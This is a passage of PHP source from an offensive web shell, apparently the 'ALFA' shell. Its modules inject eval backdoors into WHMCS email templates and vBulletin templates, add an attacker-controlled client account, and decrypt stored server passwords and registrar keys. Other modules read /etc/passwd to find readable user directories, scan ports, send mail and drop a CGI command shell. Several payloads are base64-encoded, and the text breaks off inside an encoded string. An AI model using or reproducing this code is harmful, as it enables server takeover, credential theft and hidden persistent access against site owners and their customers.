UXpBd1hDSStQR0pwWno0OFltbG5QbE52YkdWMmFYTnBZbXhsSUZWd2JHOWhaQ0JCY21WaFBDOWlhV2MrUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJadmJuUStQQzlqWlc1MScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkFpYSStQR0p5UGx4dUlqc05DbVZqYUc4Z0p6eGpaVzUwWlhJK1BHWnZjbTBnWVdOMGFXOXVQU0lpSUcxbGRHaHZaRDBpY0c5emRDSWdaVzVqZEhsd1pUMGliWFZzZEdsd1lYSjBMMlp2Y20wdFpHRjBZU0lnYm1GdFpUMGlkWEJzYjJGa1pYSWlJQTBLYVdROUluVndiRzloWkdWeUlqNG5PdzBLSUdWamFHOGdKenhwYm5CMWRDQjBlWEJsUFNKbWFXeGxJaUJ1WVcxbFBTSm1hV3hsSWlCemFYcGxQU0kwTlNJK1BHbHVjSFYwSUc1aGJXVTlJbDkxY0d3aUlIUjVjR1U5SW5OMVltMXBkQ0lnRFFwcFpEMGlYM1Z3YkNJZ2RtRnNkV1U5SWxWd2JHOWhaQ0krUEM5bWIzSnRQand2WTJWdWRHVnlQaWM3RFFvZ2FXWW9JQ1JmVUU5VFZGc25YM1Z3YkNkZElEMDlJQ0pWY0d4dllXUWlJQ2tnZXcwS0lHbG1LRUJqYjNCNUtDUmZSa2xNUlZOYkoyWnBiR1VuWFZzbmRHMXdYMjVoYldVblhTd2dKRjlHU1V4RlUxc25abWxzWlNkZFd5ZHVZVzFsSjEwcEtTQjdJR1ZqYUc4Z0RRb25QR0krUEdadmJuUWdZMjlzYjNJOVhDSWpOME5HUXpBd1hDSStQR05sYm5SbGNqNVZjR3h2WVdRZ1UzVmpZMlZ6YzJaMWJHeDVJRHNwUEM5bWIyNTBQand2WVQ0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4TDJJK1BHSnlQanhpY2o0bk95QjlEUW9nSUNBZ0lHVnNjMlVnZXlCbFkyaHZJQ2M4WWo0OFptOXVkQ0JqYjJ4dmNqMWNJaU0zUTBaRE1EQmNJajQ4WTJWdWRHVnlQbFZ3Ykc5aFpDQm1ZV2xzWldRZ09pZzhMMlp2Ym5RK1BDOWhQanhtYjI1MElHTnZiRScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkzl5UFZ3aUl6ZERSa013TUZ3aVBqd3ZZajROQ2p4aWNqNDhZbkkrSnpzZ2ZRMEtJSDBOQ2o4K0RRbzhZMlZ1ZEdWeVBqeHpjR0Z1SUhOMGVXeGxQU0ptYjI1MExYTnBlbVU2TXpCd2VEc2lQanh6Y0dGdUlITjBlV3hsUFNKaVlXTnJaM0p2ZFc1a09pQjFjbXdvSm5GMWIzUTdhSFIwY0RvdkwzVndMbWx5WVc0dGRHRnNheTVwY2k5MWNHeHZZV1J6THpFek16RTFOekV4TkRrekxtZHBaaVp4ZFc5ME95a2djbVZ3WldGMExYZ2djMk55YjJ4c0lEQWxJREFsSUhSeVlXNXpjR0Z5Wlc1ME95QmpiMnh2Y2pvZ2NtVmtPeUIwWlhoMExYTm9ZV1J2ZHpvZ09IQjRJRGh3ZUNBeE0zQjRPeUkrUEhOMGNtOXVaejQ4WWo0OFltbG5Qbk52YkdWMmFYTnBZbXhsUUdkdFlXbHNMbU52YlR3dllqNDhMMkpwWno0OEwzTjBjbTl1Wno0TkNnPT0iKTsNCiRzb2xldmlzaWJsZSA9IGZvcGVuKCJzb2xldmlzaWJsZS5waHAiLCJ3Iik7DQpmd3JpdGUoJHNvbGV2aXNpYmxlLCR4KTs=\'));{/php}";
$newin = str_replace("\'","\'",$index);
$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index))
{
mysql_connect($dbh,$dbu,$dbp) or die(mysql_error());
mysql_select_db($dbn) or die(mysql_error());
$inject = "UPDATE tblemailtemplates SET message=\'$newindex\' WHERE id=\'37\'";
$result = mysql_query($inject) or die (mysql_error());
$create = "insert into tblclients (email) values(\'[email protected]\')";
$result2 = mysql_query($create) or die (mysql_error());
echo \'<script>alert("shell injectet :\)")</script>\';
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target </font><font color=red>\" http://target.com/whmcs/pwreset.php \"</font><br/><font color=\"#FFFFFF\"> and reset password with email</font> => <font color=red>[email protected]</font><br/><font color=\"#FFFFFF\">and go to</font> <font color=red>\" http://target.com/whmcs/solevisible.php \"</font></b></center><br><br>";
}
}
}
if(isset($_POST[\'alfa2\']) && ($_POST[\'alfa2\'] == \'decoder\'))
{
function decrypt ($string,$cc_encryption_hash)
{
$key = md5 (md5 ($cc_encryption_hash)) . md5 ($cc_encryption_hash);
$hash_key = _hash ($key);
$hash_length = strlen ($hash_key);
$string = base64_decode ($string);
$tmp_iv = substr ($string, 0, $hash_length);
$string = substr ($string, $hash_length, strlen ($string) - $hash_length);
$iv = $out = \'\';
$c = 0;
while ($c < $hash_length)
{
$iv .= chr (ord ($tmp_iv[$c]) ^ ord ($hash_key[$c]));
++$c;
}
$key = $iv;
$c = 0;
while ($c < strlen ($string))
{
if (($c != 0 AND $c % $hash_length == 0))
{
$key = _hash ($key . substr ($out, $c - $hash_length, $hash_length));
}
$out .= chr (ord ($key[$c % $hash_length]) ^ ord ($string[$c]));
++$c;
}
return $out;
}
function _hash ($string)
{
if (function_exists (\'sha1\'))
{
$hash = sha1 ($string);
}
else
{
$hash = md5 ($string);
}
$out = \'\';
$c = 0;
while ($c < strlen ($hash))
{
$out .= chr (hexdec ($hash[$c] . $hash[$c + 1]));
$c += 2;
}
return $out;
}
echo "<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_=\"\";</script>
<center>
<FORM action=\'\' method=\'post\' onsubmit=\"g(\'Whmcs\',null,this.form_action.value,\'decoder\',this.db_username.value,this.db_password.value,this.db_name.value,this.cc_encryption_hash.value,this.db_host.value); return false;\">
<input type=\'hidden\' name=\'form_action\' value=\'2\'>
<table border=1>
<center><b><font color=\"#FFFF01\">==</font> <font color=\"#00A220\">WHMCS</font> <font color=\"#FFFFFF\">De</font><font color=\"#FF0000\">Coder</font><font color=\"#FFFF01\"> ==</font></b></center><br>
<tr><td><font color=\"#FFFFFF\"><b>db_host : </b></font></td><td><input type=\'text\' size=\'50\' name=\'db_host\' value=\'localhost\'></td></tr>
<tr><td><font color=\"#FFFFFF\"><b>db_username : </b></font></td><td><input type=\'text\' size=\'50\' name=\'db_username\' value=\'\'></td></tr>
<tr><td><font color=\"#FFFFFF\"><b>db_password : </b></font></td><td><input type=\'text\' size=\'50\' name=\'db_password\' value=\'\'></td></tr>
<tr><td><font color=\"#FFFFFF\"><b>db_name : </b></font></td><td><input type=\'text\' size=\'50\' name=\'db_name\' value=\'\'></td></tr>
<tr><td><font color=\"#FFFFFF\"><b>cc_encryption_hash : </b></font></td><td><input type=\'text\' size=\'50\' name=\'cc_encryption_hash\' value=\'\'></td></tr>
</table>
<INPUT class=submit type=\'submit\' value=\'>>\' name=\'Submit\'>
</FORM>
</center>";
if($_POST[\'alfa1\'] == 2 && $_POST[\'alfa3\'])
{
$db_host=($_POST[\'alfa7\']);
$db_username=($_POST[\'alfa3\']);
$db_password=($_POST[\'alfa4\']);
$db_name=($_POST[\'alfa5\']);
$cc_encryption_hash=($_POST[\'alfa6\']);
echo \'<br><pre id="strOutput" style="margin-top:5px" class="ml1"><br>\';
$link=mysql_connect($db_host,$db_username,$db_password) or die(mysql_error());
mysql_select_db($db_name,$link) ;
$query = mysql_query("SELECT * FROM tblservers");
$num = mysql_num_rows($query);
if ($num > 0){
for($i=0; $i <=$num -1; $i++){
$v = mysql_fetch_array($query);
$ipaddress = $v[\'ipaddress\'];
$username = $v[\'username\'];
$type = $v[\'type\'];
$active = $v[\'active\'];
$hostname = $v[\'hostname\'];
echo("<center><table border=\'1\'>");
$password = decrypt ($v[\'password\'], $cc_encryption_hash);
echo("<tr><td><b><font color=\"#FFFFFF\">Type</font></td><td>$type</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Active</font></td><td>$active</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Hostname</font></td><td>$hostname</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Ip</font></td><td>$ipaddress</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Username</font></td><td>$username</td></tr></b>");
echo("<tr><td><b><font color=\"#FFFFFF\">Password</font></td><td>$password</td></tr></b>");
echo "</table><br><br></center>";
}
$query1 = mysql_query("SELECT * FROM tblregistrars");
$num1 = mysql_num_rows($query1);
if ($num1 > 0){
for($i=0; $i <=$num1 -1; $i++){
$v = mysql_fetch_array($query1);
$registrar = $v[\'registrar\'];
$setting = $v[\'setting\'];
$value = decrypt ($v[\'value\'], $cc_encryption_hash);
if ($value=="") {
$value=0;
}
echo("<center>Domain Reseller <br><center>");
echo("<center><table border=\'1\'>");
echo("<tr><td><b><font color=\"#67ABDF\">Register</font></td><td>$registrar</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Setting</font></td><td>$setting</td></tr></b>");
echo("<tr><td><b><font color=\"#67ABDF\">Value</font></td><td>$value</td></tr></b>");
echo "</table><br><br></center>";
}
}
}
}
}
echo "</div>";
alfafooter();
}
function alfaVbinject(){
alfahead();
echo \'<div class=header>\';
echo \'<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_=alfa6_=\"\";</script>
<center><br><br><b><font color="#FFFF01">==</font> <font color="#00A220">vBulletin</font> <font color="#FFFFFF">Shell</font> <font color="#FF0000">Injector</font><font color="#FFFF01"> ==</font></b></font>
<form name="frm" action="" method="POST" onsubmit="g(null,null,this.template.value,this.lo.value,this.db.value,this.user.value,this.pass.value,this.tab.value); return false;">
<br>
<font color="#FFFFFF"><b>Inject To : </b></font><br><select size="1" name="template">
<option value="FAQ">faq.php</option>
<option value="FORUMHOME">FORUMHOME</option>
<option value="search_forums">search forums</option>
<option value="SHOWGROUPS">SHOWGROUPS</option>
<option value="SHOWTHREAD">showthread.php</option>
<option value="CALENDAR">calendar.php</option>
<option value="MEMBERINFO">MEMBERINFO</option>
<option value="footer">footer</option>
<option value="header">header</option>
<option value="headinclude">headinclude</option>
<option value="lostpw">lostpw</option>
<option value="memberlist">memberlist</option></select></p>
<table border=1>
<tr><td><font color="#FFFFFF"><b>Host : </b></font></td><td><input name=\'lo\' type=\'text\' value=\'localhost\' size=\'30\'></td></tr>
<tr><td><font color="#FFFFFF"><b>DataBase Name : </b></font></td><td><input type=\'text\' size=\'30\' name=\'db\' value=\'\'></td></tr>
<tr><td><font color="#FFFFFF"><b>User Name : </b></font></td><td><input type=\'text\' size=\'30\' name=\'user\' value=\'\'></td></tr>
<tr><td><font color="#FFFFFF"><b>Password : </b></font></td><td><input type=\'text\' size=\'30\' name=\'pass\' value=\'\'></td></tr>
<tr><td><font color="#FFFFFF"><b>Table Prefix : </b></font></td><td><input type=\'text\' size=\'30\' name=\'tab\' value=\'\'></td></tr>
</table>
<br><input type="submit" value=">>"/>
</form></center>\';
if($_POST[\'alfa5\']){
$code = "{\${eval(base64_decode(\'JGNvZGUgPSAnUEQ5d2FIQU5DbVZqYUc4Z0lqeDBhWFJzWlQ1VGIyeGxkbWx6YVdKc1pTQlZjR3h2WVdSbGNqd3ZkR2wwYkdVK1hHNGlPdzBLWldOb2J5QWlQQzlvWldGa1BseHVJanNOQ21WamFHOGdJanhpYjJSNUlHSm5ZMjlzYjNJOUl6QXdNREF3TUQ1Y2JpSTdEUXBsWTJodklDSThZbkkrWEc0aU93MEtaV05vYnlBaVBHTmxiblJsY2o0OFptOXVkQ0JqYjJ4dmNqMWNJbmRvYVhSbFhDSStQR0krV1c5MWNpQkpjQ0JCWkdSeVpYTnpJR2x6UEM5aVBpQThabTl1ZENCamIyeHZjajFjSW5kb2FYUmxYQ0krUEM5bWIyNTBQand2WTJWdWRHVnlQaUJjYmlJN0RRcGxZMmh2SUNJOFltbG5QanhpYVdjK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVjYmlJN0RRcGxZMmh2SUNSZlUwVlNWa1ZTV3lkU1JVMVBWRVZmUVVSRVVpZGRPdzBLWldOb2J5QWlQQzlqWlc1MFpYSStQQzltYjI1MFBqd3ZZVDQ4Wm05dWRDQmpiMnh2Y2oxY0lpTTNRMFpETURCY0lqNWNiaUk3RFFwbFkyaHZJQ0k4WW5JK1hHNGlPdzBLWldOb2J5QWlQR0p5UGx4dUlqc05DbVZqYUc4Z0lqeGpaVzUwWlhJK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdKcFp6NDhZbWxuUGxOdmJHVjJhWE5wWW14bElGVndiRzloWkNCQmNtVmhQQzlpYVdjK1BDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwyWnZiblErUEM5alpXNTBaWEkrUEdKeVBseHScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkVJanNOQ21WamFHOGdKenhqWlc1MFpYSStQR1p2Y20wZ1lXTjBhVzl1UFNJaUlHMWxkR2h2WkQwaWNHOXpkQ0lnWlc1amRIbHdaVDBpYlhWc2RHbHdZWEowTDJadmNtMHRaR0YwWVNJZ2JtRnRaVDBpZFhCc2IyRmtaWElpSUEwS2FXUTlJblZ3Ykc5aFpHVnlJajRuT3cwS0lHVmphRzhnSnp4cGJuQjFkQ0IwZVhCbFBTSm1hV3hsSWlCdVlXMWxQU0ptYVd4bElpQnphWHBsUFNJME5TSStQR2x1Y0hWMElHNWhiV1U5SWw5MWNHd2lJSFI1Y0dVOUluTjFZbTFwZENJZ0RRcHBaRDBpWDNWd2JDSWdkbUZzZFdVOUlsVndiRzloWkNJK1BDOW1iM0p0UGp3dlkyVnVkR1Z5UGljN0RRb2dhV1lvSUNSZlVFOVRWRnNuWDNWd2JDZGRJRDA5SUNKVmNHeHZZV1FpSUNrZ2V3MEtJR2xtS0VCamIzQjVLQ1JmUmtsTVJWTmJKMlpwYkdVblhWc25kRzF3WDI1aGJXVW5YU3dnSkY5R1NVeEZVMXNuWm1sc1pTZGRXeWR1WVcxbEoxMHBLU0I3SUdWamFHOGdEUW9uUEdJK1BHWnZiblFnWTI5c2IzSTlYQ0lqTjBOR1F6QXdYQ0krUEdObGJuUmxjajVWY0d4dllXUWdVM1ZqWTJWemMyWjFiR3g1SURzcFBDOW1iMjUwUGp3dllUNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OEwySStQR0p5UGp4aWNqNG5PeUI5RFFvZ0lDQWdJR1ZzYzJVZ2V5QmxZMmh2SUNjOFlqNDhabTl1ZENCamIyeHZjajFjSWlNM1EwWkRNREJjSWo0OFkyVnVkR1Z5UGxWd2JHOWhaQ0JtWVdsc1pXUWdPaWc4TDJadmJuUStQQzloUGp4bWIyNTBJR052Ykc5eVBWd2lJemREUmScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCktNd01Gd2lQand2WWo0TkNqeGljajQ4WW5JK0p6c2dmUTBLSUgwTkNqOCtEUW84WTJWdWRHVnlQanh6Y0dGdUlITjBlV3hsUFNKbWIyNTBMWE5wZW1VNk16QndlRHNpUGp4emNHRnVJSE4wZVd4bFBTSmlZV05yWjNKdmRXNWtPaUIxY213b0puRjFiM1E3YUhSMGNEb3ZMM1Z3TG1seVlXNHRkR0ZzYXk1cGNpOTFjR3h2WVdSekx6RXpNekUxTnpFeE5Ea3pMbWRwWmlaeGRXOTBPeWtnY21Wd1pXRjBMWGdnYzJOeWIyeHNJREFsSURBbElIUnlZVzV6Y0dGeVpXNTBPeUJqYjJ4dmNqb2djbVZrT3lCMFpYaDBMWE5vWVdSdmR6b2dPSEI0SURod2VDQXhNM0I0T3lJK1BITjBjbTl1Wno0OFlqNDhZbWxuUG5OdmJHVjJhWE5wWW14bFFHZHRZV2xzTG1OdmJUd3ZZajQ4TDJKcFp6NDhMM04wY205dVp6NE5DZz09JzsgJGZwID0gZm9wZW4oInNvbGV2aXNpYmxlLnBocCIsIncrIik7IGZ3cml0ZSgkZnAsYmFzZTY0X2RlY29kZSgkY29kZSkpOyBoZWFkZXIoIkxvY2F0aW9uOiBzb2xldmlzaWJsZS5waHAiKTs=\'))}}{\${exit()}}&";
$template =$_POST[\'alfa1\'];
@mysql_connect($_POST[\'alfa2\'],$_POST[\'alfa4\'],$_POST[\'alfa5\']) or die(mysql_error());
@mysql_select_db($_POST[\'alfa3\']) or die(mysql_error());
$p = "UPDATE ".$_POST[\'alfa6\']."template SET template =\'".$code."\' WHERE title =\'".$template."\'";
$ka= @mysql_query($p) or die(mysql_error());
if ($ka){echo"<script>alert(\'Shell Injected in $template\')</script>";}
}
echo "</div>";
alfafooter();
}
function alfaportscanner(){
alfahead();
echo \'<div class=header><script>alfa2_=alfa3_=alfa4_="";</script><center><br><b><font color="#FFFFFF">Port Scaner<font></b><br>
<br><br><form action="" method="post" onsubmit="g(\'portscanner\',null,null,this.start.value,this.end.value,this.host.value); return false;">
<input type="hidden" name="y" value="phptools">
<b><font color="#00A220"> Host: <br /><br />
<input id="text" type="text" style="color:#FF0000;background-color:#000000" name="host" value="localhost"/><br /><br />
<b><font id="text" color="#FFFFFF"> Port start: <br />
<input id="text" type="text" style="color:#FF0000;background-color:#000000" name="start" value="0"/><br /><br />
<b><font color="#FF0000"> Port end: <br />
<input id="text" type="text" style="color:#FF0000;background-color:#000000" name="end" value="1000"/><br /><br />
<input type="submit" value=">>" />
</form></center><br><br>
\';
$start = strip_tags($_POST[\'alfa2\']);
$end = strip_tags($_POST[\'alfa3\']);
$host = strip_tags($_POST[\'alfa4\']);
if(isset($_POST[\'alfa4\']) && is_numeric($_POST[\'alfa3\']) && is_numeric($_POST[\'alfa2\'])){
echo \'<pre id="strOutput" style="margin-top:5px" class="ml1"><br/>\';
for($i = $start; $i<=$end; $i++){
$fp = @fsockopen($host, $i, $errno, $errstr, 3);
if($fp){
echo "<center>Port <font style=\'color:#DE3E3E\'>$i</font> is <font style=\'color:#64CF40\'>open</font></br></center>";
}
flush();
}
}
echo \'</div>\';
alfafooter();
}
function alfabasedir(){
alfahead();
echo \'<div class=header>\';
($sm = ini_get(\'safe_mode\') == 0) ? $sm = \'off\': die(\'<b>Error: safe_mode = on</b>\');
set_time_limit(0);
@$passwd = fopen(\'/etc/passwd\',\'r\');
if (!$passwd) { die(\'<b> <center><font color="#FFFFFF">[-] Error : coudn`t read /etc/passwd [-]</font></center></b>\'); }
$pub = array();
$users = array();
$conf = array();
$i = 0;
while(!feof($passwd))
{
$str = fgets($passwd);
if ($i > 35)
{
$pos = strpos($str,\':\');
$username = substr($str,0,$pos);
$dirz = \'/home/\'.$username.\'/public_html/\';
if (($username != \'\'))
{
if (is_readable($dirz))
{
array_push($users,$username);
array_push($pub,$dirz);
}
}
}
$i++;
}
echo \'<br><br>\';
echo "<b><font color=\"#00A220\">[+] Founded ".sizeof($users)." entrys in /etc/passwd
"."<br /></font></b>";
echo "<b><font color=\"#FFFFFF\">[+] Founded ".sizeof($pub)." readable public_html directories
"."<br /></font></b>";
echo "<b><font color=\"#FF0000\">[~] Searching for passwords in config files...

"."<br /><br /><br /></font></b>";
foreach ($users as $user)
{
$path = "/home/$user/public_html/";
echo "<form method=post onsubmit=\'g(\'FilesMan\',this.c.value,\"\");return false;\'><span><font color=#27979B>Change Dir <font color=#FFFF01>..:: </font><font color=red><b>$user</b></font><font color=#FFFF01> ::..</font></font></span><br><input class=\'foottable\' type=text name=c value=\'$path\'><input type=submit value=\'>>\'></form><br>";
}
echo \'<br><br></b>\';
echo \'</div>\';
alfafooter();
}
function alfamail(){
alfahead();
echo \'<div class=header><br><br>\';
echo \'
<script>alfa1_=alfa2_=alfa3_=alfa4_=alfa5_="";</script>
<center><form action="" method="post" onsubmit="g(\'mail\',null,this.mail_to.value,this.mail_from.value,this.mail_subject.value,this.mail_send.value,this.mail_content.value); return false;">
<table border=1>
<tr>
<td>
<font color="#00A220"><b>mail to : </b></font></td><td><input placeholder="target" size="30" type="text" name="mail_to" />
</td>
</tr>
<tr>
<td>
<font color="#ffffff"><b>from : </b></font></td><td><input type="text" size="30"  placeholder="[email protected]" name="mail_from" />
</td>
</tr>
<tr>
<td>
<font color="#FF0000"><b>subject : </b></font></td><td><input type="text" size="30"  value="your site hacked by me" name="mail_subject" />
</td>
</tr>
</table><br>
<textarea rows="6" cols="60" name="mail_content">Hi Dear Admin :)</textarea>
<br><input type="submit" value=">>" name="mail_send" />
</form></center><br><br></div>\';
alfafooter();
if(isset($_POST[\'alfa4\']) && ($_POST[\'alfa4\'] == \'>>\'))
{
$mail_to = $_POST[\'alfa1\'];
$mail_from = $_POST[\'alfa2\'];
$mail_subject = $_POST[\'alfa3\'];
$mail_content = $_POST[\'alfa5\'];
if(@mail($mail_to,$mail_subject,$mail_content,"FROM:$mail_from"))
{ echo \'<script>alert(\'mail sended\')</script>\'; }
else echo \'<script>alert(\'failed\')</script>\';
}
}
function alfaziper(){
alfahead();
echo \'<div class=header>\';
if (class_exists(\'ZipArchive\')){
echo \'
<script>alfa1_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_="";</script>
<center>
<br /><br />
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,this.ziper.value);return false;" method="post">
<font color="#FFFFFF"><b>Dir:</b> </font>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="dirzip" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'" size="60"/><br /><br />
<font color="#FFFFFF"><b>Save Dir: </b></font><input type="text" name="zipfile" value="alfa.zip" size="60"/><br /><br />
<input type="submit" value=">>" name="ziper" /> <br /><br />
</form></center>
\';
$code = base64_decode(\'ICAgIGlmICghZXh0ZW5zaW9uX2xvYWRlZCgnemlwJykgfHwgIWZpbGVfZXhpc3RzKCRzb3VyY2UpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCiAgICBpZiAoISR6aXAtPm9wZW4oJGRlc3RpbmF0aW9uLCBaSVBBUkNISVZFOjpDUkVBVEUpKSB7DQogICAgICAgIHJldHVybiBmYWxzZTsNCiAgICB9DQoNCiAgICAkc291cmNlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCByZWFscGF0aCgkc291cmNlKSk7DQoNCiAgICBpZiAoaXNfZGlyKCRzb3VyY2UpID09PSB0cnVlKQ0KICAgIHsNCiAgICAgICAgJGZpbGVzID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IobmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzb3VyY2UpLCBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpTRUxGX0ZJUlNUKTsNCg0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpDQogICAgICAgIHsNCiAgICAgICAgICAgICRmaWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZmlsZSk7DQoNCiAgICAgICAgICAgIC8vIElnbm9yZSAiLiIgYW5kICIuLiIgZm9sZGVycw0KICAgICAgICAgICAgaWYoIGluX2FycmF5KHN1YnN0cigkZmlsZSwgc3RycnBvcygkZmlsZSwgJy8nKSsxKSwgYXJyYXkoJy4nLCAnLi4nKSkgKQ0KICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KDQogICAgICAgICAgICAkZmlsZSA9IHJlYWxwYXRoKScyc7JE9VVD1zb2xldmlzaWQsZSgkT1VUKTtldmFVTsKCRPT08wMDAwTzAoJE9VVCkCRmaWxlKTsNCg0KICAgICAgICAgICAgaWYgKGlzX2RpcigkZmlsZSkgPT09IHRydWUpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgJHppcC0+YWRkRW1wdHlEaXIoc3RyX3JlcGxhY2UoJHNvdXJjZSAuICcvJywgJycsICRmaWxlIC4gJy8nKSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlbHNlIGlmIChpc19maWxlKCRmaWxlKSA9PT0gdHJ1ZSkNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAkemlwLT5hZGRGcm9tU3RyaW5nKHN0cl9yZXBsYWNlKCRzb3VyY2UgLiAnLycsICcnLCAkZmlsZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlKSk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgZWxzZSBpZiAoaXNfZmlsZSgkc291cmNlKSA9PT0gdHJ1ZSkNCiAgICB7DQogICAgICAgICR6aXAtPmFkZEZyb21TdHJpbmcoYmFzZW5hbWUoJHNvdXJjZSksIGZpbGVfZ2V0X2NvbnRlbnRzKCRzb3VyY2UpKTsNCiAgICB9DQoNCiAgICByZXR1cm4gJHppcC0+Y2xvc2UoKTs=\');
if(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\'))
{
$newfunc = create_function(\'$source,$destination\', $code);
$dirzip = $_POST[\'alfa3\'];
$zipfile = $_POST[\'alfa4\'];
if($newfunc($dirzip, $zipfile)){
echo \'<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b><b><font color="#FFFF01">==</font> <font color="#00A220">File or</font> <font color="#FFFFFF">Directory</font> <font color="#FF0000">Ziped</font><font color="#FFFF01"> ==</font></b>
</b></center>\';
}else {echo \'<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b>ERROR!!!...</b><center><br><br>\';}
}
}
else {
echo \'
<script>alfa1_=alfa3_=alfa4_=alfa5_=alfa6_=alfa7_="";</script>
<center>
<br /><br />
<form onSubmit="g(\'ziper\',null,null,null,this.dirzip.value,this.zipfile.value,this.ziper.value);return false;" method="post">
Dir:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type="text" name="dirzip" value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'" size="60"/><br /><br />
Save Dir: <input type="text" name="zipfile" value="alfa.zip" size="60"/><br /><br />
<input type="submit" value=">>" name="ziper" /> <br /><br />
</form></center>
\';
if(isset($_POST[\'alfa5\']) && ($_POST[\'alfa5\'] == \'>>\'))
{
$dirzip = trim($_POST[\'alfa3\']);
$zipfile = trim($_POST[\'alfa4\']);
if(exec("zip -r $zipfile $dirzip")){
echo \'<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b><center><b><b><font color="#FFFF01">==</font> <font color="#00A220">File or</font> <font color="#FFFFFF">Directory</font> <font color="#FF0000">Ziped</font><font color="#FFFF01"> ==</font></b>
</b></center></b></center><br><br>\';
}else {echo \'<pre id="strOutput" style="margin-top:8px" class="ml1"><br/><center><b>ERROR!!!...</b><center><br><br>\';}
}
}
echo \'</div>\';
alfafooter();
}
function alfacgipython()
{
alfahead();
echo \'<div class=header>\';
mkdir(\'cgipy\',0755);
chdir(\'cgipy\');
$solevisible7 = \'.htaccess\';
$solevisible6 = "$solevisible7";
$solevisible4 = fopen ($solevisible6 ,\'w\') or die (\'ERROR!!!\');
$solevisible5 = \'AddHandler cgi-script .izo\';
fwrite ( $solevisible4 ,$solevisible5 ) ;
fclose ($solevisible4);
$solevisible3 = \'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
